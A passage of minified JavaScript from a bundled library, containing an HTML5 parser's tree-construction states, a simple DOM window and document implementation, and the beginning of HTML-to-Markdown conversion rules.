2:if(bA==="html"){p6=J1(yA,bA,D1),u.push(p6),yA.appendChild(p6),b=ww;return}break;case 3:switch(bA){case"html":case"head":case"body":case"br":break;default:return}}p6=J1(yA,"html",null),u.push(p6),yA.appendChild(p6),b=ww,b(IA,bA,D1,W6)}function ww(IA,bA,D1,W6){switch(IA){case 1:if(bA=bA.replace(Y9A,""),bA.length===0)return;break;case 5:return;case 4:EA(bA);return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"head":var p6=z1(bA,D1);c=p6,b=e5;return}break;case 3:switch(bA){case"html":case"head":case"body":case"br":break;default:return}}ww(Mj,"head",null),b(IA,bA,D1,W6)}function e5(IA,bA,D1,W6){switch(IA){case 1:var p6=bA.match(Y9A);if(p6)rA(p6[0]),bA=bA.substring(p6[0].length);if(bA.length===0)return;break;case 4:EA(bA);return;case 5:return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"meta":case"base":case"basefont":case"bgsound":case"link":z1(bA,D1),u.pop();return;case"title":Y7(bA,D1);return;case"noscript":if(!e){z1(bA,D1),b=LY;return}case"noframes":case"style":D8(bA,D1);return;case"script":f1(function(U8){var DK=J1(U8,bA,D1);if(DK._parser_inserted=!0,DK._force_async=!1,r)DK._already_started=!0;return Q1(),DK}),Z=Z3,F=b,b=s6;return;case"template":z1(bA,D1),d.insertMarker(),qA=!1,b=B$,Q.push(b);return;case"head":return}break;case 3:switch(bA){case"head":u.pop(),b=v2;return;case"body":case"html":case"br":break;case"template":if(!u.contains("template"))return;u.generateImpliedEndTags(null,"thorough"),u.popTag("template"),d.clearToMarker(),Q.pop(),e8();return;default:return}break}e5(p9,"head",null),b(IA,bA,D1,W6)}function LY(IA,bA,D1,W6){switch(IA){case 5:return;case 4:e5(IA,bA);return;case 1:var p6=bA.match(Y9A);if(p6)e5(IA,p6[0]),bA=bA.substring(p6[0].length);if(bA.length===0)return;break;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"basefont":case"bgsound":case"link":case"meta":case"noframes":case"style":e5(IA,bA,D1);return;case"head":case"noscript":return}break;case 3:switch(bA){case"noscript":u.pop(),b=e5;return;case"br":break;default:return}break}LY(p9,"noscript",null),b(IA,bA,D1,W6)}function v2(IA,bA,D1,W6){switch(IA){case 1:var p6=bA.match(Y9A);if(p6)rA(p6[0]),bA=bA.substring(p6[0].length);if(bA.length===0)return;break;case 4:EA(bA);return;case 5:return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"body":z1(bA,D1),qA=!1,b=j1;return;case"frameset":z1(bA,D1),b=Wh;return;case"base":case"basefont":case"bgsound":case"link":case"meta":case"noframes":case"script":case"style":case"template":case"title":u.push(c),e5(Mj,bA,D1),u.removeElement(c);return;case"head":return}break;case 3:switch(bA){case"template":return e5(IA,bA,D1,W6);case"body":case"html":case"br":break;default:return}break}v2(Mj,"body",null),qA=!0,b(IA,bA,D1,W6)}function j1(IA,bA,D1,W6){var p6,U8,DK,J5;switch(IA){case 1:if(jA){if(bA=bA.replace(Hf1,""),bA.length===0)return}if(qA&&wf1.test(bA))qA=!1;H4(),rA(bA);return;case 5:return;case 4:EA(bA);return;case-1:if(Q.length)return B$(IA);iq();return;case 2:switch(bA){case"html":if(u.contains("template"))return;uYK(D1,u.elements[0]);return;case"base":case"basefont":case"bgsound":case"link":case"meta":case"noframes":case"script":case"style":case"template":case"title":e5(Mj,bA,D1);return;case"body":if(p6=u.elements[1],!p6||!(p6 instanceof r2.HTMLBodyElement)||u.contains("template"))return;qA=!1,uYK(D1,p6);return;case"frameset":if(!qA)return;if(p6=u.elements[1],!p6||!(p6 instanceof r2.HTMLBodyElement))return;if(p6.parentNode)p6.parentNode.removeChild(p6);while(!(u.top instanceof r2.HTMLHtmlElement))u.pop();z1(bA,D1),b=Wh;return;case"address":case"article":case"aside":case"blockquote":case"center":case"details":case"dialog":case"dir":case"div":case"dl":case"fieldset":case"figcaption":case"figure":case"footer":case"header":case"hgroup":case"main":case"nav":case"ol":case"p":case"section":case"summary":case"ul":if(u.inButtonScope("p"))j1(p9,"p");z1(bA,D1);return;case"menu":if(u.inButtonScope("p"))j1(p9,"p");if(o2(u.top,"menuitem"))u.pop();z1(bA,D1);return;case"h1":case"h2":case"h3":case"h4":case"h5":case"h6":if(u.inButtonScope("p"))j1(p9,"p");if(u.top instanceof r2.HTMLHeadingElement)u.pop();z1(bA,D1);return;case"pre":case"listing":if(u.inButtonScope("p"))j1(p9,"p");z1(bA,D1),MA=!0,qA=!1;return;case"form":if(YA&&!u.contains("template"))return;if(u.inButtonScope("p"))j1(p9,"p");if(J5=z1(bA,D1),!u.contains("template"))YA=J5;return;case"li":qA=!1;for(U8=u.elements.length-1;U8>=0;U8--){if(DK=u.elements[U8],DK instanceof r2.HTMLLIElement){j1(p9,"li");break}if(o2(DK,z9A)&&!o2(DK,Vb6))break}if(u.inButtonScope("p"))j1(p9,"p");z1(bA,D1);return;case"dd":case"dt":qA=!1;for(U8=u.elements.length-1;U8>=0;U8--){if(DK=u.elements[U8],o2(DK,mYK)){j1(p9,DK.localName);break}if(o2(DK,z9A)&&!o2(DK,Vb6))break}if(u.inButtonScope("p"))j1(p9,"p");z1(bA,D1);return;case"plaintext":if(u.inButtonScope("p"))j1(p9,"p");z1(bA,D1),Z=S3;return;case"button":if(u.inScope("button"))j1(p9,"button"),b(IA,bA,D1,W6);else H4(),z1(bA,D1),qA=!1;return;case"a":var qY=d.findElementByTag("a");if(qY)j1(p9,bA),d.remove(qY),u.removeElement(qY);case"b":case"big":case"code":case"em":case"font":case"i":case"s":case"small":case"strike":case"strong":case"tt":case"u":H4(),d.push(z1(bA,D1),D1);return;case"nobr":if(H4(),u.inScope(bA))j1(p9,bA),H4();d.push(z1(bA,D1),D1);return;case"applet":case"marquee":case"object":H4(),z1(bA,D1),d.insertMarker(),qA=!1;return;case"table":if(!yA._quirks&&u.inButtonScope("p"))j1(p9,"p");z1(bA,D1),qA=!1,b=_4;return;case"area":case"br":case"embed":case"img":case"keygen":case"wbr":H4(),z1(bA,D1),u.pop(),qA=!1;return;case"input":H4(),J5=z1(bA,D1),u.pop();var TH=J5.getAttribute("type");if(!TH||TH.toLowerCase()!=="hidden")qA=!1;return;case"param":case"source":case"track":z1(bA,D1),u.pop();return;case"hr":if(u.inButtonScope("p"))j1(p9,"p");if(o2(u.top,"menuitem"))u.pop();z1(bA,D1),u.pop(),qA=!1;return;case"image":j1(Mj,"img",D1,W6);return;case"textarea":z1(bA,D1),MA=!0,qA=!1,Z=X9,F=b,b=s6;return;case"xmp":if(u.inButtonScope("p"))j1(p9,"p");H4(),qA=!1,D8(bA,D1);return;case"iframe":qA=!1,D8(bA,D1);return;case"noembed":D8(bA,D1);return;case"select":if(H4(),z1(bA,D1),qA=!1,b===_4||b===C5||b===C9||b===Yq||b===hz)b=MN;else b=w2;return;case"optgroup":case"option":if(u.top instanceof r2.HTMLOptionElement)j1(p9,"option");H4(),z1(bA,D1);return;case"menuitem":if(o2(u.top,"menuitem"))u.pop();H4(),z1(bA,D1);return;case"rb":case"rtc":if(u.inScope("ruby"))u.generateImpliedEndTags();z1(bA,D1);return;case"rp":case"rt":if(u.inScope("ruby"))u.generateImpliedEndTags("rtc");z1(bA,D1);return;case"math":if(H4(),xYK(D1),Pb6(D1),T1(bA,D1,Aq.MATHML),W6)u.pop();return;case"svg":if(H4(),bYK(D1),Pb6(D1),T1(bA,D1,Aq.SVG),W6)u.pop();return;case"caption":case"col":case"colgroup":case"frame":case"head":case"tbody":case"td":case"tfoot":case"th":case"thead":case"tr":return}H4(),z1(bA,D1);return;case 3:switch(bA){case"template":e5(p9,bA,D1);return;case"body":if(!u.inScope("body"))return;b=AR;return;case"html":if(!u.inScope("body"))return;b=AR,b(IA,bA,D1);return;case"address":case"article":case"aside":case"blockquote":case"button":case"center":case"details":case"dialog":case"dir":case"div":case"dl":case"fieldset":case"figcaption":case"figure":case"footer":case"header":case"hgroup":case"listing":case"main":case"menu":case"nav":case"ol":case"pre":case"section":case"summary":case"ul":if(!u.inScope(bA))return;u.generateImpliedEndTags(),u.popTag(bA);return;case"form":if(!u.contains("template")){var cJ=YA;if(YA=null,!cJ||!u.elementInScope(cJ))return;u.generateImpliedEndTags(),u.removeElement(cJ)}else{if(!u.inScope("form"))return;u.generateImpliedEndTags(),u.popTag("form")}return;case"p":if(!u.inButtonScope(bA))j1(Mj,bA,null),b(IA,bA,D1,W6);else u.generateImpliedEndTags(bA),u.popTag(bA);return;case"li":if(!u.inListItemScope(bA))return;u.generateImpliedEndTags(bA),u.popTag(bA);return;case"dd":case"dt":if(!u.inScope(bA))return;u.generateImpliedEndTags(bA),u.popTag(bA);return;case"h1":case"h2":case"h3":case"h4":case"h5":case"h6":if(!u.elementTypeInScope(r2.HTMLHeadingElement))return;u.generateImpliedEndTags(),u.popElementType(r2.HTMLHeadingElement);return;case"sarcasm":break;case"a":case"b":case"big":case"code":case"em":case"font":case"i":case"nobr":case"s":case"small":case"strike":case"strong":case"tt":case"u":var YY=s7(bA);if(YY)return;break;case"applet":case"marquee":case"object":if(!u.inScope(bA))return;u.generateImpliedEndTags(),u.popTag(bA),d.clearToMarker();return;case"br":j1(Mj,bA,null);return}for(U8=u.elements.length-1;U8>=0;U8--)if(DK=u.elements[U8],o2(DK,bA)){u.generateImpliedEndTags(bA),u.popElement(DK);break}else if(o2(DK,z9A))return;return}}function s6(IA,bA,D1,W6){switch(IA){case 1:rA(bA);return;case-1:if(u.top instanceof r2.HTMLScriptElement)u.top._already_started=!0;u.pop(),b=F,b(IA);return;case 3:if(bA==="script")k5();else u.pop(),b=F;return;default:return}}function _4(IA,bA,D1,W6){function p6(DK){for(var J5=0,qY=DK.length;J5<qY;J5++)if(DK[J5][0]==="type")return DK[J5][1].toLowerCase();return null}switch(IA){case 1:if(a){j1(IA,bA,D1,W6);return}else if(o2(u.top,nMA)){_A=[],F=b,b=t7,b(IA,bA,D1,W6);return}break;case 4:EA(bA);return;case 5:return;case 2:switch(bA){case"caption":u.clearToContext(Jf1),d.insertMarker(),z1(bA,D1),b=C5;return;case"colgroup":u.clearToContext(Jf1),z1(bA,D1),b=A3;return;case"col":_4(Mj,"colgroup",null),b(IA,bA,D1,W6);return;case"tbody":case"tfoot":case"thead":u.clearToContext(Jf1),z1(bA,D1),b=C9;return;case"td":case"th":case"tr":_4(Mj,"tbody",null),b(IA,bA,D1,W6);return;case"table":if(!u.inTableScope(bA))return;_4(p9,bA),b(IA,bA,D1,W6);return;case"style":case"script":case"template":e5(IA,bA,D1,W6);return;case"input":var U8=p6(D1);if(U8!=="hidden")break;z1(bA,D1),u.pop();return;case"form":if(YA||u.contains("template"))return;YA=z1(bA,D1),u.popElement(YA);return}break;case 3:switch(bA){case"table":if(!u.inTableScope(bA))return;u.popTag(bA),e8();return;case"body":case"caption":case"col":case"colgroup":case"html":case"tbody":case"td":case"tfoot":case"th":case"thead":case"tr":return;case"template":e5(IA,bA,D1,W6);return}break;case-1:j1(IA,bA,D1,W6);return}aA=!0,j1(IA,bA,D1,W6),aA=!1}function t7(IA,bA,D1,W6){if(IA===iMA){if(jA){if(bA=bA.replace(Hf1,""),bA.length===0)return}_A.push(bA)}else{var p6=_A.join("");if(_A.length=0,wf1.test(p6))aA=!0,j1(iMA,p6),aA=!1;else rA(p6);b=F,b(IA,bA,D1,W6)}}function C5(IA,bA,D1,W6){function p6(){if(!u.inTableScope("caption"))return!1;return u.generateImpliedEndTags(),u.popTag("caption"),d.clearToMarker(),b=_4,!0}switch(IA){case 2:switch(bA){case"caption":case"col":case"colgroup":case"tbody":case"td":case"tfoot":case"th":case"thead":case"tr":if(p6())b(IA,bA,D1,W6);return}break;case 3:switch(bA){case"caption":p6();return;case"table":if(p6())b(IA,bA,D1,W6);return;case"body":case"col":case"colgroup":case"html":case"tbody":case"td":case"tfoot":case"th":case"thead":case"tr":return}break}j1(IA,bA,D1,W6)}function A3(IA,bA,D1,W6){switch(IA){case 1:var p6=bA.match(Y9A);if(p6)rA(p6[0]),bA=bA.substring(p6[0].length);if(bA.length===0)return;break;case 4:EA(bA);return;case 5:return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"col":z1(bA,D1),u.pop();return;case"template":e5(IA,bA,D1,W6);return}break;case 3:switch(bA){case"colgroup":if(!o2(u.top,"colgroup"))return;u.pop(),b=_4;return;case"col":return;case"template":e5(IA,bA,D1,W6);return}break;case-1:j1(IA,bA,D1,W6);return}if(!o2(u.top,"colgroup"))return;A3(p9,"colgroup"),b(IA,bA,D1,W6)}function C9(IA,bA,D1,W6){function p6(){if(!u.inTableScope("tbody")&&!u.inTableScope("thead")&&!u.inTableScope("tfoot"))return;u.clearToContext(Of1),C9(p9,u.top.localName,null),b(IA,bA,D1,W6)}switch(IA){case 2:switch(bA){case"tr":u.clearToContext(Of1),z1(bA,D1),b=Yq;return;case"th":case"td":C9(Mj,"tr",null),b(IA,bA,D1,W6);return;case"caption":case"col":case"colgroup":case"tbody":case"tfoot":case"thead":p6();return}break;case 3:switch(bA){case"table":p6();return;case"tbody":case"tfoot":case"thead":if(u.inTableScope(bA))u.clearToContext(Of1),u.pop(),b=_4;return;case"body":case"caption":case"col":case"colgroup":case"html":case"td":case"th":case"tr":return}break}_4(IA,bA,D1,W6)}function Yq(IA,bA,D1,W6){function p6(){if(!u.inTableScope("tr"))return!1;return u.clearToContext(fb6),u.pop(),b=C9,!0}switch(IA){case 2:switch(bA){case"th":case"td":u.clearToContext(fb6),z1(bA,D1),b=hz,d.insertMarker();return;case"caption":case"col":case"colgroup":case"tbody":case"tfoot":case"thead":case"tr":if(p6())b(IA,bA,D1,W6);return}break;case 3:switch(bA){case"tr":p6();return;case"table":if(p6())b(IA,bA,D1,W6);return;case"tbody":case"tfoot":case"thead":if(u.inTableScope(bA)){if(p6())b(IA,bA,D1,W6)}return;case"body":case"caption":case"col":case"colgroup":case"html":case"td":case"th":return}break}_4(IA,bA,D1,W6)}function hz(IA,bA,D1,W6){switch(IA){case 2:switch(bA){case"caption":case"col":case"colgroup":case"tbody":case"td":case"tfoot":case"th":case"thead":case"tr":if(u.inTableScope("td"))hz(p9,"td"),b(IA,bA,D1,W6);else if(u.inTableScope("th"))hz(p9,"th"),b(IA,bA,D1,W6);return}break;case 3:switch(bA){case"td":case"th":if(!u.inTableScope(bA))return;u.generateImpliedEndTags(),u.popTag(bA),d.clearToMarker(),b=Yq;return;case"body":case"caption":case"col":case"colgroup":case"html":return;case"table":case"tbody":case"tfoot":case"thead":case"tr":if(!u.inTableScope(bA))return;hz(p9,u.inTableScope("td")?"td":"th"),b(IA,bA,D1,W6);return}break}j1(IA,bA,D1,W6)}function w2(IA,bA,D1,W6){switch(IA){case 1:if(jA){if(bA=bA.replace(Hf1,""),bA.length===0)return}rA(bA);return;case 4:EA(bA);return;case 5:return;case-1:j1(IA,bA,D1,W6);return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"option":if(u.top instanceof r2.HTMLOptionElement)w2(p9,bA);z1(bA,D1);return;case"optgroup":if(u.top instanceof r2.HTMLOptionElement)w2(p9,"option");if(u.top instanceof r2.HTMLOptGroupElement)w2(p9,bA);z1(bA,D1);return;case"select":w2(p9,bA);return;case"input":case"keygen":case"textarea":if(!u.inSelectScope("select"))return;w2(p9,"select"),b(IA,bA,D1,W6);return;case"script":case"template":e5(IA,bA,D1,W6);return}break;case 3:switch(bA){case"optgroup":if(u.top instanceof r2.HTMLOptionElement&&u.elements[u.elements.length-2]instanceof r2.HTMLOptGroupElement)w2(p9,"option");if(u.top instanceof r2.HTMLOptGroupElement)u.pop();return;case"option":if(u.top instanceof r2.HTMLOptionElement)u.pop();return;case"select":if(!u.inSelectScope(bA))return;u.popTag(bA),e8();return;case"template":e5(IA,bA,D1,W6);return}break}}function MN(IA,bA,D1,W6){switch(bA){case"caption":case"table":case"tbody":case"tfoot":case"thead":case"tr":case"td":case"th":switch(IA){case 2:MN(p9,"select"),b(IA,bA,D1,W6);return;case 3:if(u.inTableScope(bA))MN(p9,"select"),b(IA,bA,D1,W6);return}}w2(IA,bA,D1,W6)}function B$(IA,bA,D1,W6){function p6(U8){b=U8,Q[Q.length-1]=b,b(IA,bA,D1,W6)}switch(IA){case 1:case 4:case 5:j1(IA,bA,D1,W6);return;case-1:if(!u.contains("template"))iq();else u.popTag("template"),d.clearToMarker(),Q.pop(),e8(),b(IA,bA,D1,W6);return;case 2:switch(bA){case"base":case"basefont":case"bgsound":case"link":case"meta":case"noframes":case"script":case"style":case"template":case"title":e5(IA,bA,D1,W6);return;case"caption":case"colgroup":case"tbody":case"tfoot":case"thead":p6(_4);return;case"col":p6(A3);return;case"tr":p6(C9);return;case"td":case"th":p6(Yq);return}p6(j1);return;case 3:switch(bA){case"template":e5(IA,bA,D1,W6);return;default:return}}}function AR(IA,bA,D1,W6){switch(IA){case 1:if(wf1.test(bA))break;j1(IA,bA);return;case 4:u.elements[0]._appendChild(yA.createComment(bA));return;case 5:return;case-1:iq();return;case 2:if(bA==="html"){j1(IA,bA,D1,W6);return}break;case 3:if(bA==="html"){if(r)return;b=Ag;return}break}b=j1,b(IA,bA,D1,W6)}function Wh(IA,bA,D1,W6){switch(IA){case 1:if(bA=bA.replace(Mb6,""),bA.length>0)rA(bA);return;case 4:EA(bA);return;case 5:return;case-1:iq();return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"frameset":z1(bA,D1);return;case"frame":z1(bA,D1),u.pop();return;case"noframes":e5(IA,bA,D1,W6);return}break;case 3:if(bA==="frameset"){if(r&&u.top instanceof r2.HTMLHtmlElement)return;if(u.pop(),!r&&!(u.top instanceof r2.HTMLFrameSetElement))b=Dh;return}break}}function Dh(IA,bA,D1,W6){switch(IA){case 1:if(bA=bA.replace(Mb6,""),bA.length>0)rA(bA);return;case 4:EA(bA);return;case 5:return;case-1:iq();return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"noframes":e5(IA,bA,D1,W6);return}break;case 3:if(bA==="html"){b=bz;return}break}}function Ag(IA,bA,D1,W6){switch(IA){case 1:if(wf1.test(bA))break;j1(IA,bA,D1,W6);return;case 4:yA._appendChild(yA.createComment(bA));return;case 5:j1(IA,bA,D1,W6);return;case-1:iq();return;case 2:if(bA==="html"){j1(IA,bA,D1,W6);return}break}b=j1,b(IA,bA,D1,W6)}function bz(IA,bA,D1,W6){switch(IA){case 1:if(bA=bA.replace(Mb6,""),bA.length>0)j1(IA,bA,D1,W6);return;case 4:yA._appendChild(yA.createComment(bA));return;case 5:j1(IA,bA,D1,W6);return;case-1:iq();return;case 2:switch(bA){case"html":j1(IA,bA,D1,W6);return;case"noframes":e5(IA,bA,D1,W6);return}break}}function Sj(IA,bA,D1,W6){function p6(qY){for(var TH=0,cJ=qY.length;TH<cJ;TH++)switch(qY[TH][0]){case"color":case"face":case"size":return!0}return!1}var U8;switch(IA){case 1:if(qA&&Zv2.test(bA))qA=!1;if(jA)bA=bA.replace(Hf1,"�");rA(bA);return;case 4:EA(bA);return;case 5:return;case 2:switch(bA){case"font":if(!p6(D1))break;case"b":case"big":case"blockquote":case"body":case"br":case"center":case"code":case"dd":case"div":case"dl":case"dt":case"em":case"embed":case"h1":case"h2":case"h3":case"h4":case"h5":case"h6":case"head":case"hr":case"i":case"img":case"li":case"listing":case"menu":case"meta":case"nobr":case"ol":case"p":case"pre":case"ruby":case"s":case"small":case"span":case"strong":case"strike":case"sub":case"sup":case"table":case"tt":case"u":case"ul":case"var":if(r)break;do u.pop(),U8=u.top;while(U8.namespaceURI!==Aq.HTML&&!SYK(U8)&&!hYK(U8));DA(IA,bA,D1,W6);return}if(U8=u.elements.length===1&&r?K:u.top,U8.namespaceURI===Aq.MATHML)xYK(D1);else if(U8.namespaceURI===Aq.SVG)bA=Dv2(bA),bYK(D1);if(Pb6(D1),T1(bA,D1,U8.namespaceURI),W6){if(bA==="script"&&U8.namespaceURI===Aq.SVG);u.pop()}return;case 3:if(U8=u.top,bA==="script"&&U8.namespaceURI===Aq.SVG&&U8.localName==="script")u.pop();else{var DK=u.elements.length-1,J5=u.elements[DK];for(;;){if(J5.localName.toLowerCase()===bA){u.popElement(J5);break}if(J5=u.elements[--DK],J5.namespaceURI!==Aq.HTML)continue;b(IA,bA,D1,W6);break}}return}}return hA.testTokenizer=function(IA,bA,D1,W6){var p6=[];switch(bA){case"PCDATA state":Z=E8;break;case"RCDATA state":Z=X9;break;case"RAWTEXT state":Z=I3;break;case"PLAINTEXT state":Z=S3;break}if(D1)M=D1;if(DA=function(DK,J5,qY,TH){switch(Q1(),DK){case 1:if(p6.length>0&&p6[p6.length-1][0]==="Character")p6[p6.length-1][1]+=J5;else p6.push(["Character",J5]);break;case 4:p6.push(["Comment",J5]);break;case 5:p6.push(["DOCTYPE",J5,qY===void 0?null:qY,TH===void 0?null:TH,!HA]);break;case 2:var cJ=Object.create(null);for(var YY=0;YY<qY.length;YY++){var HJ=qY[YY];if(HJ.length===1)cJ[HJ[0]]="";else cJ[HJ[0]]=HJ[1]}var b0=["StartTag",J5,cJ];if(TH)b0.push(!0);p6.push(b0);break;case 3:p6.push(["EndTag",J5]);break;case-1:break}},!W6)this.parse(IA,!0);else{for(var U8=0;U8<IA.length;U8++)this.parse(IA[U8]);this.parse("",!0)}return p6},hA}});var hUA=v((jeH,rYK)=>{rYK.exports=nYK;var lYK=Kf1(),iYK=Yf1(),jv2=$f1(),_f1=P0(),Mv2=QV1();function nYK(A){this.contextObject=A}var Pv2={xml:{"":!0,"1.0":!0,"2.0":!0},core:{"":!0,"2.0":!0},html:{"":!0,"1.0":!0,"2.0":!0},xhtml:{"":!0,"1.0":!0,"2.0":!0}};nYK.prototype={hasFeature:function(K,q){var Y=Pv2[(K||"").toLowerCase()];return Y&&Y[q||""]||!1},createDocumentType:function(K,q,Y){if(!Mv2.isValidQName(K))_f1.InvalidCharacterError();return new iYK(this.contextObject,K,q,Y)},createDocument:function(K,q,Y){var z=new lYK(!1,null),w;if(q)w=z.createElementNS(K,q);else w=null;if(Y)z.appendChild(Y);if(w)z.appendChild(w);if(K===_f1.NAMESPACE.HTML)z._contentType="application/xhtml+xml";else if(K===_f1.NAMESPACE.SVG)z._contentType="image/svg+xml";else z._contentType="application/xml";return z},createHTMLDocument:function(K){var q=new lYK(!0,null);q.appendChild(new iYK(q,"html"));var Y=q.createElement("html");q.appendChild(Y);var z=q.createElement("head");if(Y.appendChild(z),K!==void 0){var w=q.createElement("title");z.appendChild(w),w.appendChild(q.createTextNode(K))}return Y.appendChild(q.createElement("body")),q.modclock=1,q},mozSetOutputMutationHandler:function(A,K){A.mutationHandler=K},mozGetInputMutationHandler:function(A){_f1.nyi()},mozHTMLParser:jv2}});var aYK=v((MeH,oYK)=>{var Vv2=aV1(),fv2=Ob6();oYK.exports=Tb6;function Tb6(A,K){this._window=A,this._href=K}Tb6.prototype=Object.create(fv2.prototype,{constructor:{value:Tb6},href:{get:function(){return this._href},set:function(A){this.assign(A)}},assign:{value:function(A){var K=new Vv2(this._href),q=K.resolve(A);this._href=q}},replace:{value:function(A){this.assign(A)}},reload:{value:function(){this.assign(this.href)}},toString:{value:function(){return this.href}}})});var tYK=v((PeH,sYK)=>{var Nv2=Object.create(null,{appCodeName:{value:"Mozilla"},appName:{value:"Netscape"},appVersion:{value:"4.0"},platform:{value:""},product:{value:"Gecko"},productSub:{value:"20100101"},userAgent:{value:""},vendor:{value:""},vendorSub:{value:""},taintEnabled:{value:function(){return!1}}});sYK.exports=Nv2});var A2K=v((VeH,eYK)=>{var Tv2={setTimeout,clearTimeout,setInterval,clearInterval};eYK.exports=Tv2});var Eb6=v((bUA,K2K)=>{var vb6=P0();bUA=K2K.exports={CSSStyleDeclaration:sV1(),CharacterData:vUA(),Comment:rh6(),DOMException:uV1(),DOMImplementation:hUA(),DOMTokenList:Sh6(),Document:Kf1(),DocumentFragment:ah6(),DocumentType:Yf1(),Element:QMA(),HTMLParser:$f1(),NamedNodeMap:mh6(),Node:RW(),NodeList:A9A(),NodeFilter:LUA(),ProcessingInstruction:th6(),Text:ih6(),Window:kb6()};vb6.merge(bUA,Jb6());vb6.merge(bUA,eV1().elements);vb6.merge(bUA,Zb6().elements)});var kb6=v((feH,q2K)=>{var vv2=hUA(),Ev2=Dh6(),kv2=aYK(),xUA=P0();q2K.exports=Gf1;function Gf1(A){this.document=A||new vv2(null).createHTMLDocument(""),this.document._scripting_enabled=!0,this.document.defaultView=this,this.location=new kv2(this,this.document._address||"about:blank")}Gf1.prototype=Object.create(Ev2.prototype,{console:{value:console},history:{value:{back:xUA.nyi,forward:xUA.nyi,go:xUA.nyi}},navigator:{value:tYK()},window:{get:function(){return this}},self:{get:function(){return this}},frames:{get:function(){return this}},parent:{get:function(){return this}},top:{get:function(){return this}},length:{value:0},frameElement:{value:null},opener:{value:null},onload:{get:function(){return this._getEventHandler("load")},set:function(A){this._setEventHandler("load",A)}},getComputedStyle:{value:function(K){return K.style}}});xUA.expose(A2K(),Gf1);xUA.expose(Eb6(),Gf1)});var J2K=v((Cv2)=>{var Y2K=hUA(),z2K=$f1(),NeH=kb6(),w2K=Eb6();Cv2.createDOMImplementation=function(){return new Y2K(null)};Cv2.createDocument=function(A,K){if(A||K){var q=new z2K;return q.parse(A||"",!0),q.document()}return new Y2K(null).createHTMLDocument("")};Cv2.createIncrementalHTMLParser=function(){var A=new z2K;return{write:function(K){if(K.length>0)A.parse(K,!1,function(){return!0})},end:function(K){A.parse(K||"",!0,function(){return!0})},process:function(K){return A.parse("",!1,K)},document:function(){return A.document()}}};Cv2.createWindow=function(A,K){var q=Cv2.createDocument(A);if(K!==void 0)q._address=K;return new w2K.Window(q)};Cv2.impl=w2K});var V2K=v((veH,P2K)=>{function Sv2(A){for(var K=1;K<arguments.length;K++){var q=arguments[K];for(var Y in q)if(q.hasOwnProperty(Y))A[Y]=q[Y]}return A}function yb6(A,K){return Array(K+1).join(A)}function hv2(A){return A.replace(/^\n*/,"")}function bv2(A){var K=A.length;while(K>0&&A[K-1]===` `)K--;return A.substring(0,K)}var xv2=["ADDRESS","ARTICLE","ASIDE","AUDIO","BLOCKQUOTE","BODY","CANVAS","CENTER","DD","DIR","DIV","DL","DT","FIELDSET","FIGCAPTION","FIGURE","FOOTER","FORM","FRAMESET","H1","H2","H3","H4","H5","H6","HEADER","HGROUP","HR","HTML","ISINDEX","LI","MAIN","MENU","NAV","NOFRAMES","NOSCRIPT","OL","OUTPUT","P","PRE","SECTION","TABLE","TBODY","TD","TFOOT","TH","THEAD","TR","UL"];function Ib6(A){return Sb6(A,xv2)}var $2K=["AREA","BASE","BR","COL","COMMAND","EMBED","HR","IMG","INPUT","KEYGEN","LINK","META","PARAM","SOURCE","TRACK","WBR"];function _2K(A){return Sb6(A,$2K)}function uv2(A){return Z2K(A,$2K)}var G2K=["A","TABLE","THEAD","TBODY","TFOOT","TH","TD","IFRAME","SCRIPT","AUDIO","VIDEO"];function Bv2(A){return Sb6(A,G2K)}function mv2(A){return Z2K(A,G2K)}function Sb6(A,K){return K.indexOf(A.nodeName)>=0}function Z2K(A,K){return A.getElementsByTagName&&K.some(function(q){return A.getElementsByTagName(q).length})}var Vj={};Vj.paragraph={filter:"p",replacement:function(A){return` `+A+` `}};Vj.lineBreak={filter:"br",replacement:function(A,K,q){return q.br+` `}};Vj.heading={filter:["h1","h2","h3","h4","h5","h6"],replacement:function(A,K,q){var Y=Number(K.nodeName.charAt(1));if(q.headingStyle==="setext"&&Y<3){var z=yb6(Y===1?"=":"-",A.length);return` `+A+` `+z+` `}else return` `+yb6("#",Y)+" "+A+` `}};Vj.blockquote={filter:"blockquote",replacement:function(A){return A=A.replace(/^\n+|\n+$/g,""),A=A.replace(/^/gm,"> "),` `+A+` `}};Vj.list={filter:["ul","ol"],replacement:function(A,K){var q=K.parentNode;if(q.nodeName==="LI"&&q.lastElementChild===K)return` `+A;else return` `+A+` `}};Vj.listItem={filter:"li",replacement:function(A,K,q){A=A.replace(/^\n+/,"").replace(/\n+$/,` `).replace(/\n/gm,` `);var Y=q.bulletListMarker+" ",z=K.parentNode;if(z.nodeName==="OL"){var w=z.getAttribute("start"),H=Array.prototype.indexOf.call(z.children,K);Y=(w?Number(w)+H:H+1)+". "}return Y+A+(K.nextSibling&&!/\n$/.test(A)?` `:"")}};Vj.indentedCodeBlock={filter:function(A,K){return K.codeBlockStyle==="indented"&&A.nodeName==="PRE"&&A.firstChild&&A.firstChild.nodeName==="CODE"},replacement:function(A,K,q){return` `+K.firstChild.textContent.replace(/\n/g,` `)+` `}};Vj.fencedCodeBlock={filter:function(A,K){return K.codeBlockStyle==="fenced"&&A.nodeName==="PRE"&&A.firstChild&&A.firstChild.nodeName==="CODE"},replacement:function(A,K,q){var Y=K.firstChild.getAttribute("class")||"",z=(Y.match(/language-(\S+)/)||[null,""])[1],w=K.firstChild.textContent,H=q.fence.charAt(0),J=3,O=new RegExp("^"+H+"{3,}","gm"),X;while(X=O.exec(w))if(X[0].length>=J)J=X[0].length+1;var $=yb6(H,J);return` `+$+z+` `+w.replace(/\n$/,"")+` `+$+` `}};Vj.horizontalRule={filter:"hr",replacement:function(A,K,q){return` `+q.hr+` `}};Vj.inlineLink={filter:function(A,K){return K.linkStyle==="inlined"&&A.nodeName==="A"&&A.getAttribute("href")},replacement:function(A,K){var q=K.getAttribute("href");if(q)q=q.replace(/([()])/g,"\\$1");var Y=Zf1(K.getAttribute("title"));if(Y)Y=' "'+Y.replace(/"/g,"\\\"")+'"';return"["+A+"]("+q+Y+")"}};Vj.referenceLink={filter:function(A,K){return 